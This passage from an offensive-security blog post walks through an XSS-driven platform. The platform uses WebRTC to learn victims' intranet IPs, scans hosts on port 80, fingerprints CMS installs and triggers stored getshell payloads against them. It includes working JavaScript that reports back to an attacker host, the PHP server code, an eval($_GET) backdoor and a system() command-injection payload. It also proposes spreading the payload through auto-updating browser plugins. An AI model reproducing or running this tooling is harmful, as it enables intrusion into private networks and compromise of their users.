&lt;h2&gt;0x04 Detecting hosts on the intranet with port 80 open&lt;/h2&gt;
&lt;p&gt;At the end of the last section you can see &lt;code&gt;webrtcxss.getIp()&lt;/code&gt;; has already called WebRTC to get intranet IPs, stored in the ipList array. Next we detect every IP on the intranet with port 80 open. I wrapped this step in a function:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function iteratesIp(){
    stage(1)
    ipAjax = new XMLHttpRequest();
    ipAjax.open(&apos;POST&apos;, sendsurvivalIp, false);
    ipAjax.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
    ipAjax.send(&apos;survivalip=&apos;+ ipList.join(&quot;-&quot;) + &apos;&amp;amp;onlystring=&apos; + onlyString);
    for(var i = 0;i &amp;lt; ipList.length;i++){
        incompleteIp = ipList[i].split(&quot;.&quot;);
        incompleteIp.pop();
        incompleteIp = incompleteIp.join(&quot;.&quot;);
        for(var j = 1;j &amp;lt; 255;j++){
            var ip = incompleteIp + &quot;.&quot; + j;
            var imgTag = document.createElement(&quot;img&quot;);
            imgTag.setAttribute(&quot;src&quot;,&quot;http://&quot; + ip + &quot;/favicon.ico&quot;);
            imgTag.setAttribute(&quot;onerror&quot;,&quot;javascript:deathIpLIst.push(&apos;&quot;+ip+&quot;&apos;)&quot;);
            imgTag.setAttribute(&quot;onload&quot;,&quot;javascript:survivalIpLIst.push(&apos;&quot;+ip+&quot;&apos;)&quot;);
            imgTag.setAttribute(&quot;style&quot;,&quot;display:none;&quot;);
            document.getElementsByTagName(&quot;body&quot;)[0].appendChild(imgTag);
        }
    }
}
setTimeout(&quot;iteratesIp()&quot;,20000);
(function(){
    if(deathIpLIst.length + survivalIpLIst.length == 254){
        snedIteratesIpData(survivalIpLIst);
    }else{
        setTimeout(arguments.callee,5000);
    }
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;stage(1)&lt;/code&gt; is a function I wrote to send the latest progress to the server in real time. I will cover it at the end.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;ipAjax = new XMLHttpRequest();
ipAjax.open(&apos;POST&apos;, sendsurvivalIp, false);
ipAjax.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
ipAjax.send(&apos;survivalip=&apos;+ ipList.join(&quot;-&quot;) + &apos;&amp;amp;onlystring=&apos; + onlyString);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This sends the intranet IPs we just got to the server. The join(“-”) on ipList is there because WebRTC sometimes also picks up gateway and VM IPs.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;for(var i = 0;i &amp;lt; ipList.length;i++){
    incompleteIp = ipList[i].split(&quot;.&quot;);
    incompleteIp.pop();
    incompleteIp = incompleteIp.join(&quot;.&quot;);
    for(var j = 1;j &amp;lt; 255;j++){
        var ip = incompleteIp + &quot;.&quot; + j;
        var imgTag = document.createElement(&quot;img&quot;);
        imgTag.setAttribute(&quot;src&quot;,&quot;http://&quot; + ip + &quot;/favicon.ico&quot;);
        imgTag.setAttribute(&quot;onerror&quot;,&quot;javascript:deathIpLIst.push(&apos;&quot;+ip+&quot;&apos;)&quot;);
        imgTag.setAttribute(&quot;onload&quot;,&quot;javascript:survivalIpLIst.push(&apos;&quot;+ip+&quot;&apos;)&quot;);
        imgTag.setAttribute(&quot;style&quot;,&quot;display:none;&quot;);
        document.getElementsByTagName(&quot;body&quot;)[0].appendChild(imgTag);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This walks every intranet host on port 80. Let’s look at it in practice:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/subnet-prefix.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The trailing .104 is stripped. Then a for loop walks 192.168.1.1~192.168.1.254
Now let’s run&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;for(var i = 0;i &amp;lt; ipList.length;i++){
    incompleteIp = ipList[i].split(&quot;.&quot;);
    incompleteIp.pop();
    incompleteIp = incompleteIp.join(&quot;.&quot;);
    for(var j = 1;j &amp;lt; 255;j++){
        var ip = incompleteIp + &quot;.&quot; + j;
        var imgTag = document.createElement(&quot;img&quot;);
        imgTag.setAttribute(&quot;src&quot;,&quot;http://&quot; + ip + &quot;/favicon.ico&quot;);
        imgTag.setAttribute(&quot;onerror&quot;,&quot;javascript:deathIpLIst.push(&apos;&quot;+ip+&quot;&apos;)&quot;);
        imgTag.setAttribute(&quot;onload&quot;,&quot;javascript:survivalIpLIst.push(&apos;&quot;+ip+&quot;&apos;)&quot;);
        imgTag.setAttribute(&quot;style&quot;,&quot;display:none;&quot;);
        document.getElementsByTagName(&quot;body&quot;)[0].appendChild(imgTag);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;this code:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/favicon-scan-console.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;That is the console. Let’s see what changed in the DOM:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/favicon-img-tags-dom.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;I use &lt;code&gt;http://192.168.1.xxx/favicon.ico&lt;/code&gt; to tell which intranet IPs have port 80 open and a site running.
&lt;code&gt;onerror=&quot;javascript:deathIpLIst.push(&apos;192.168.1.xxx&apos;)&quot;&lt;/code&gt; fires if the IP does not have port 80 open, or has port 80 open but no site, and pushes that IP into deathIpLIst. If it exists, it is pushed into survivalIpLIst, i.e. &lt;code&gt;onload=&quot;javascript:survivalIpLIst.push(&apos;192.168.1.1&apos;)&quot;&lt;/code&gt;.
Why do it this way? Here is the catch. The browser does not tell you immediately which images loaded and which did not; it needs a buffer period. Checking whether favicon.ico exists on 254 hosts in the same subnet takes about 550000ms===550s, roughly 2.16535s/IP. That is a bit over 9.16 minutes. So you wait about 9.16 minutes for the full scan. There is nothing you can do about that.
Why &lt;code&gt;setTimeout(&quot;iteratesIp()&quot;,20000);&lt;/code&gt; with a 20-second delay? WebRTC needs some time to get IPs. A few seconds would actually be enough. I bumped it to 20 seconds for a higher fault-tolerance margin. If that feels slow, download the source at the end of the article and change it.
There is also this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(function(){
    if(deathIpLIst.length + survivalIpLIst.length == 254){
        snedIteratesIpData(survivalIpLIst);
    }else{
        setTimeout(arguments.callee,5000);
    }
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is why I put IPs without port 80 in one array and IPs with port 80 in another. I do not know when they will finish. The 9.1 minutes earlier is only a rough figure; machine specs, intranet speed, and other factors can make it faster or slower. I cannot guarantee it. So I wrote this. Here is what it means:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(function(){
    /*coding*/
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is an anonymous function. It runs as soon as execution reaches it.
Inside, it first checks whether deathIpLIst.length + survivalIpLIst.length equals 254. If so, it calls snedIteratesIpData and passes the IPs that have port 80 open with a site running. If not, the browser has not finished judging every image yet, and it goes into the else branch.
&lt;code&gt;setTimeout(arguments.callee,5000);&lt;/code&gt; delays 5 seconds and then runs arguments.callee. arguments.callee is the current function. Let’s look:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/arguments-callee-log.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;console.log printed the current function. You can also write setTimeout(currentFunctionName(), 5000); to get the same effect, but that does not work for an anonymous function, because it has no name. If you have learned recursion, this should be easy to follow.
In plain terms: run this function every 5 seconds until every img tag has been judged, then go to the next step.&lt;/p&gt;
&lt;h2&gt;0x05 Identifying CMS on live intranet hosts&lt;/h2&gt;
&lt;p&gt;The previous section mentioned snedIteratesIpData, which the if in the closure calls when the condition is true. Here is what is inside that function:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function snedIteratesIpData(ip){
    if(deathIpLIst.length == 254){
        return false;
    }
    stage(2)
    ip = ip.join(&quot;-&quot;)
    ipAjax = new XMLHttpRequest();
    ipAjax.onreadystatechange = function(){
        if(ipAjax.readyState == 4 &amp;amp;&amp;amp; ipAjax.status == 200){
            var cmsPath = JSON.parse(ipAjax.responseText).path;
            for(var key in cmsPath){
                for(var i = 0;i &amp;lt; survivalIpLIst.length;i++){
                    var scriptTag = document.createElement(&quot;script&quot;);
                    scriptTag.setAttribute(&quot;src&quot;,&quot;http://&quot; + survivalIpLIst[i] + cmsPath[key]);
                    scriptTag.setAttribute(&quot;data-ipadder&quot;,survivalIpLIst[i]);
                    scriptTag.setAttribute(&quot;data-cmsinfo&quot;,key);
                    scriptTag.setAttribute(&quot;onload&quot;,&quot;javascript:vulnerabilityIpList(this)&quot;);
                    document.getElementsByTagName(&quot;body&quot;)[0].appendChild(scriptTag);
                }
            }
        }
    }
    ipAjax.open(&apos;POST&apos;, snedIteratesIpUrl, false);
    ipAjax.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
    ipAjax.send(&apos;iplist=&apos;+ip+&apos;&amp;amp;onlystring=&apos;+onlyString);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why is there an if at the start of the function? Because the closure in the previous section has a bug: if no intranet IP has port 80 open and a site running, deathIpLIst.length is 254 and survivalIpLIst.length is 0. Then &lt;code&gt;deathIpLIst.length + survivalIpLIst.length == 254&lt;/code&gt; is still true. To avoid that, we add this in snedIteratesIpData:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(deathIpLIst.length == 254){
    return false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When deathIpLIst.length is 254, return false and stop. The architecture is A calls B, C calls A, D calls C. When C returns false, D does not run. After the return false, none of the code below it runs.
What &lt;code&gt;ip = ip.join(&quot;-&quot;)&lt;/code&gt; means: when there are two or more intranet IPs, join them before sending so the server can receive and display them. The server feedback looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/vuln-detail-open-ports.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Next, the ajax request:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;ipAjax = new XMLHttpRequest();
ipAjax.onreadystatechange = function(){
    if(ipAjax.readyState == 4 &amp;amp;&amp;amp; ipAjax.status == 200){
        var cmsPath = JSON.parse(ipAjax.responseText).path;
        for(var key in cmsPath){
            for(var i = 0;i &amp;lt; survivalIpLIst.length;i++){
                var scriptTag = document.createElement(&quot;script&quot;);
                scriptTag.setAttribute(&quot;src&quot;,&quot;http://&quot; + survivalIpLIst[i] + cmsPath[key]);
                scriptTag.setAttribute(&quot;data-ipadder&quot;,survivalIpLIst[i]);
                scriptTag.setAttribute(&quot;data-cmsinfo&quot;,key);
                scriptTag.setAttribute(&quot;onload&quot;,&quot;javascript:vulnerabilityIpList(this)&quot;);
                document.getElementsByTagName(&quot;body&quot;)[0].appendChild(scriptTag);
            }
        }
    }
}
ipAjax.open(&apos;POST&apos;, snedIteratesIpUrl, false);
ipAjax.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
ipAjax.send(&apos;iplist=&apos;+ip+&apos;&amp;amp;onlystring=&apos;+onlyString);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Send the intranet IPs that have port 80 open and a site running, plus the unique identifier, for the server to verify.
After the server accepts that, it sends JSON. Server code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$this-&amp;gt;ajaxReturn(array(
    &quot;typeMsg&quot; =&amp;gt; &quot;success&quot;,
    &quot;path&quot;    =&amp;gt; $pathInfo,
));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then &lt;code&gt;if(ipAjax.readyState == 4 &amp;amp;&amp;amp; ipAjax.status == 200)&lt;/code&gt; checks whether the send succeeded. On success, assign the JSON path data to cmsPath for later use. First a for loop, where cmsPath[‘key’] is the current CMS path. Nested inside that, another for loop, where survivalIpLIst[i] is the current IP.
Then we create a script DOM element. data-ipadder and data-cmsinfo are there so later code can read them. &lt;code&gt;onload = &quot; javascript:vulnerabilityIpList(this)&quot;&lt;/code&gt; is the function called when that URL exists. Next section covers it.
First, let’s see what cmsPath looks like in the database:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/cmspath-db-table.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;These four are the defaults. You can add more paths yourself.
For testing I deployed some code on another computer at home, with only index.php, /static/bbcode.js, vul/heihei.php, and favicon.ico. The code in heihei.php is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
   eval($_GET[&apos;a&apos;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why this? Simple. I do not have a Discuz getshell on hand. This was the lazy way. I also casually used a dedecms favicon.ico. Don’t mind that in the tests below.
Let’s run the code and see what happens:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/cms-js-probe-console.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;I put console.log(1) in /static/bbcode.js, so the console prints 1. That is only test code; a real environment would not look like this. Now look at the DOM changes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/cms-script-tags-dom.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;It already ran. The program detected that only &lt;a href=&quot;http://192.168.1.103/static/js/bbcode.js&quot;&gt;http://192.168.1.103/static/js/bbcode.js&lt;/a&gt; matched. Once the JS file loads successfully, the vulnerabilityIpList(this) in onload runs. The vulnerabilityIpList function is in the next section.&lt;/p&gt;
&lt;h2&gt;0x06 Checking whether intranet host vulnerabilities actually exist (part 1)&lt;/h2&gt;
&lt;p&gt;Here is the vulnerabilityIpList function:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function vulnerabilityIpList(info){
    stage(3)
    ipAjax = new XMLHttpRequest();
    ipAjax.onreadystatechange = function(){
        if(ipAjax.readyState == 4 &amp;amp;&amp;amp; ipAjax.status == 200){
            var vulCmsInfo = ipAjax.responseText;
            var img = document.createElement(&quot;img&quot;);
            img.setAttribute(&quot;scr&quot;,vulCmsInfo);
            img.setAttribute(&quot;style&quot;,&quot;display:none;&quot;);
            document.getElementsByTagName(&quot;body&quot;)[0].appendChild(img);
            setTimeout(function(){
                var scriptTag = document.createElement(&quot;script&quot;);
                scriptTag.setAttribute(&quot;src&quot;,&quot;http://&quot;+info.getAttribute(&apos;data-ipadder&apos;)+&quot;/1.js&quot;);
                scriptTag.setAttribute(&quot;data-cmsinfo&quot;,info.getAttribute(&quot;data-cmsinfo&quot;));
                scriptTag.setAttribute(&quot;data-vulip&quot;,info.getAttribute(&apos;data-ipadder&apos;));
                scriptTag.setAttribute(&quot;onload&quot;,&quot;javascript:vulConfirm(this)&quot;);
                document.getElementsByTagName(&quot;body&quot;)[0].appendChild(scriptTag);
            },2000);
        }
    }
    ipAjax.open(&apos;POST&apos;, snedIteratesCmsIpUrl, false);
    ipAjax.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
    ipAjax.send(&apos;existenceCmsIp=&apos;+ info.getAttribute(&quot;data-ipadder&quot;) + &apos;&amp;amp;existenceCmsInfo=&apos; + info.getAttribute(&quot;data-cmsinfo&quot;) + &apos;&amp;amp;onlystring=&apos; + onlyString);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The info argument is the DOM object of the script tag that loaded successfully.
First, the request URL:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;existenceCmsIp is the IP whose CMS type was detected&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;existenceCmsInfo is the CMS type that was detected&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;onlystring is the unique identifier, so the server can tell which project this belongs to.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Next, what is inside onreadystatechange:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var vulCmsInfo = ipAjax.responseText;
var img = document.createElement(&quot;img&quot;);
img.setAttribute(&quot;scr&quot;,vulCmsInfo);
img.setAttribute(&quot;style&quot;,&quot;display:none;&quot;);
document.getElementsByTagName(&quot;body&quot;)[0].appendChild(img);
setTimeout(function(){
    var scriptTag = document.createElement(&quot;script&quot;);
    scriptTag.setAttribute(&quot;src&quot;,&quot;http://&quot;+info.getAttribute(&apos;data-ipadder&apos;)+&quot;/1.js&quot;);
    scriptTag.setAttribute(&quot;data-cmsinfo&quot;,info.getAttribute(&quot;data-cmsinfo&quot;));
    scriptTag.setAttribute(&quot;data-vulip&quot;,info.getAttribute(&apos;data-ipadder&apos;));
    scriptTag.setAttribute(&quot;onload&quot;,&quot;javascript:vulConfirm(this)&quot;);
    document.getElementsByTagName(&quot;body&quot;)[0].appendChild(scriptTag);
},2000);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First, &lt;code&gt;var vulCmsInfo = ipAjax.responseText;&lt;/code&gt; assigns the string the server returned to vulCmsInfo. The server code is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;/*
* add IPs where the client detected a CMS to the database
*/
if(I(&apos;post.existenceCmsIp&apos;)  == &quot;&quot; || I(&apos;post.existenceCmsInfo&apos;) == &quot;&quot; || I(&apos;post.onlystring&apos;) == &quot;&quot;){
    $this-&amp;gt;ajaxReturn(array(
        &quot;typeMsg&quot; =&amp;gt; &quot;error&quot;,
    ));
}
$existenceCmsIp               = I(&apos;post.existenceCmsIp&apos;);
$existenceCmsInfo             = I(&apos;post.existenceCmsInfo&apos;);
$onlyString                   = I(&apos;post.onlystring&apos;);
$existencecmsip               = M(&apos;existencecmsip&apos;);
$existenceData[&apos;inner_ip&apos;]    = $existenceCmsIp;
$existenceData[&apos;cms&apos;]         = $existenceCmsInfo;
$existenceData[&apos;onlystring&apos;] = $onlyString;
$existenceData[&apos;create_time&apos;] = date(&apos;Y-m-d H:i:s&apos;);
$existencecmsip-&amp;gt;data($existenceData)-&amp;gt;add();
/*
* fetch CMS vulnerability details from the database and send them to the client
*/
$cmsvul  = M(&apos;cmsvul&apos;);
$vulInfo = base64_decode($cmsvul-&amp;gt;where(&apos;cms=&quot;&apos;.$existenceCmsInfo.&apos;&quot;&apos;)-&amp;gt;getField(&quot;vulinfo&quot;));
echo &quot;http://&quot;.$existenceCmsIp.$vulInfo;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From the code you can see the server does not return JSON, it returns a string. That string is a concatenated URL. The URL is the discovered IP plus the CMS vulnerability path stored on the server.
Then an img tag sends a GET to trigger the getshell. The code is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var img = document.createElement(&quot;img&quot;);
img.setAttribute(&quot;scr&quot;,vulCmsInfo);
img.setAttribute(&quot;style&quot;,&quot;display:none;&quot;);
document.getElementsByTagName(&quot;body&quot;)[0].appendChild(img);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why delay 2 seconds with setTimeout? As I said earlier, the browser cannot judge that many img requests at once. There is only one here, so I used 2 seconds. In a real case you can change it to 20 seconds.
Then we create a script tag to check whether 1.js was generated. If it was, the vulnerability exists and we hand it to the next function. If not, we stop, because onload will not call vulConfirm.
Why check for 1.js? That is the getshell payload I mentioned. In the database it looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/cmsvul-base64-table.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;It is a base64 ciphertext. Decoded, it is: &lt;code&gt;/vul/heihei.php?a=system(&apos;echo 1 &amp;gt;&amp;gt; ../1.js&apos;);&lt;/code&gt;
When the backend sends this to the frontend, I have already decoded it, as in the code above:
&lt;code&gt;$vulInfo = base64_decode($cmsvul-&amp;gt;where(&apos;cms=&quot;&apos;.$existenceCmsInfo.&apos;&quot;&apos;)-&amp;gt;getField(&quot;vulinfo&quot;));&lt;/code&gt;
In the browser the code looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/getshell-payload-dom.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now the real use of setTimeout. Look at this line:
&lt;code&gt;scriptTag.setAttribute(&quot;src&quot;,&quot;http://&quot;+info.getAttribute(&apos;data-ipadder&apos;)+&quot;/1.js&quot;);&lt;/code&gt;
The script src is set to check whether 1.js exists on the target. If it does, vulConfirm in onload runs. vulConfirm is in the next section.&lt;/p&gt;
&lt;h2&gt;0x07 Checking whether intranet host vulnerabilities actually exist (part 2)&lt;/h2&gt;
&lt;p&gt;vulConfirm is simple. It only sends data to the server.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function vulConfirm(cmsConfirmInfo){
    stage(4)
    ipAjax = new XMLHttpRequest();
    ipAjax.open(&apos;POST&apos;, sendExistenceVul, false);
    ipAjax.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
    ipAjax.send(&apos;cms=&apos;+ cmsConfirmInfo.getAttribute(&quot;data-cmsinfo&quot;) + &apos;&amp;amp;vulip=&apos;+ cmsConfirmInfo.getAttribute(&quot;data-vulip&quot;) +&apos;&amp;amp;onlystring=&apos; + onlyString);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;cms is the CMS that has the vulnerability&lt;/li&gt;
&lt;li&gt;vulip is the IP that has the vulnerability&lt;/li&gt;
&lt;li&gt;onlystring is the unique identifier, so the server can tell which project this belongs to&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;0x08 What stage does&lt;/h2&gt;
&lt;p&gt;The stage function:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function stage(num){
    var updataStage = document.createElement(&quot;img&quot;);
    updataStage.setAttribute(&quot;src&quot;,&quot;http://webrtcxss.cn/Api/stage/onlystring/&quot;+onlyString+&quot;/updata/&quot;+num);
    updataStage.setAttribute(&quot;style&quot;,&quot;display:none;&quot;);
    document.getElementsByTagName(&quot;body&quot;)[0].appendChild(updataStage);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is just an img tag that GETs the server to report how far the code has run. Feedback on the platform looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/stage-feedback-list.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;0x09 API backend code&lt;/h2&gt;
&lt;p&gt;The backend uses the ThinkPHP framework. If you want to change how the server receives data, edit ApiController.class.php under /Application/Home/Controller. It is split into the survivalIp, survivalPortIp, _empty, survivalCmsIp, existenceVul, and stage modules. Adjust them to match the JavaScript. Screenshot:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/api-controller-code.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;0x10 Platform-specific APIs&lt;/h2&gt;
&lt;p&gt;The platform API is RootApiController.class.php under &lt;code&gt;/Application/Home/Controller&lt;/code&gt;.
Creating, deleting, and querying projects are all in there. If you want to change the JavaScript, do it in project creation, as in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/add-project-code.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The change is simple.
The running platform looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/project-list.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/add-project-modal.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/project-success-script.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/vuln-detail-modal.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/no-projects-page.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;0x11 Database schema&lt;/h2&gt;
&lt;p&gt;There are 7 tables in total:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;webrtc_cmspath&lt;/code&gt; stores JavaScript paths used to detect CMS type&lt;/li&gt;
&lt;li&gt;&lt;code&gt;webrtc_cmsvul&lt;/code&gt; stores getshell details for each CMS&lt;/li&gt;
&lt;li&gt;&lt;code&gt;webrtc_existencecmsip&lt;/code&gt; stores which intranet IPs have a CMS&lt;/li&gt;
&lt;li&gt;&lt;code&gt;webrtc_existencevul&lt;/code&gt; stores which intranet IPs have a vulnerable CMS&lt;/li&gt;
&lt;li&gt;&lt;code&gt;webrtc_ipdatalist&lt;/code&gt; stores the list of intranet IPs that have port 80 open and a site running&lt;/li&gt;
&lt;li&gt;&lt;code&gt;webrtc_project&lt;/code&gt; stores project info&lt;/li&gt;
&lt;li&gt;&lt;code&gt;webrtc_survivaliplist&lt;/code&gt; stores the current host’s intranet IPs&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;0x12 Other attack vectors&lt;/h2&gt;
&lt;p&gt;I wrote about this on FreeBuf earlier: &lt;a href=&quot;http://www.freebuf.com/articles/web/61268.html&quot;&gt;http://www.freebuf.com/articles/web/61268.html&lt;/a&gt;
Some nginx or Apache admins watch site traffic in real time from the logs. Raw log files look ugly, so people built web UIs that stream traffic live. When they record user-agent and other packet fields, they do not filter. An attacker can set their user-agent to an XSS string, browse the site, and the admin triggers XSS when they open the viewer. Combined with what this chapter covers, it is as perfect as eating chocolate on a rainy day. It does not have to be nginx or Apache. Some site backends log IP and user-agent in application code rather than from nginx-style config files, so staff can view them in the admin panel. That is where the technique in this chapter comes in.
On plugin security, look at this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/maxthon-plugins-dashboard.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;I controlled more than ten Maxthon plugin-author accounts, covering 300,000 plugin users, and I can change the code at any time. I asked Maxthon plugin staff, and the reply was:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/plugin-autoupdate-reply.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Even if you do not have a plugin-author account, you can write a tiny plugin game with the simplest html+swf and get thousands of installs in a week. Say 100,000 users installed my plugin.
Of those, 50,000 already have jobs. 20,000 use Maxthon on a company computer with the plugin installed. Once they open Maxthon, the plugin runs automatically. When the plugin finds a new version, it silently auto-updates. Then our JavaScript runs. In 0x03 I said Maxthon also supports WebRTC, but there is a catch. I am not sure if it is version-related. In Chrome, the WebRTC code shows one set of IPs, the current machine’s intranet IPs. In Maxthon you get three sets, maybe more. Screenshot:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/use-xss-automation-invade-intranet/maxthon-multiple-ips.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;192.168.27.1 is a VM range on my machine. 192.168.118.1 is also a VM range. Only 192.168.1.104 is the real intranet IP. That is why the source uses join and a for loop over ipList.&lt;/p&gt;
&lt;h2&gt;0x13 Failed ideas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Idea 1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Suppose the intranet IP we got is 192.168.21.104. A for loop emitting img and script tags can get every live intranet IP (and can probe ports). The problem is how JavaScript gets resources from other intranet hosts. Cross-origin, so ajax and iframe both fail. I asked 0xJin last night: he did not fetch those resources, he only scanned live IPs and ports. But this is supposed to be intranet roaming, not just the PC that triggered the XSS. I looked through material all night and have an idea, though I don’t know if it works. If you have a better suggestion, say so. The idea may be wrong.&lt;/p&gt;
&lt;p&gt;Skip the earlier part. Assume we already have the intranet IPs with port 80 open.
Since ajax and iframe both fail, we can try Flash. Flash has its own crossdomain.xml restriction, but this morning I found this article: &lt;a href=&quot;http://www.litefeel.com/cross-flash-security-sandbox-get-visual-data&quot;&gt;http://www.litefeel.com/cross-flash-security-sandbox-get-visual-data&lt;/a&gt;
According to the author, this method can only get visual objects (images, swf), so you still cannot get HTML source from the live IPs.&lt;/p&gt;
&lt;p&gt;I wondered whether Flash could send a URL with XSS (an intranet IP)
The XSS would load the Html2canvas plugin, screenshot the live IP’s site, and send it to our server.
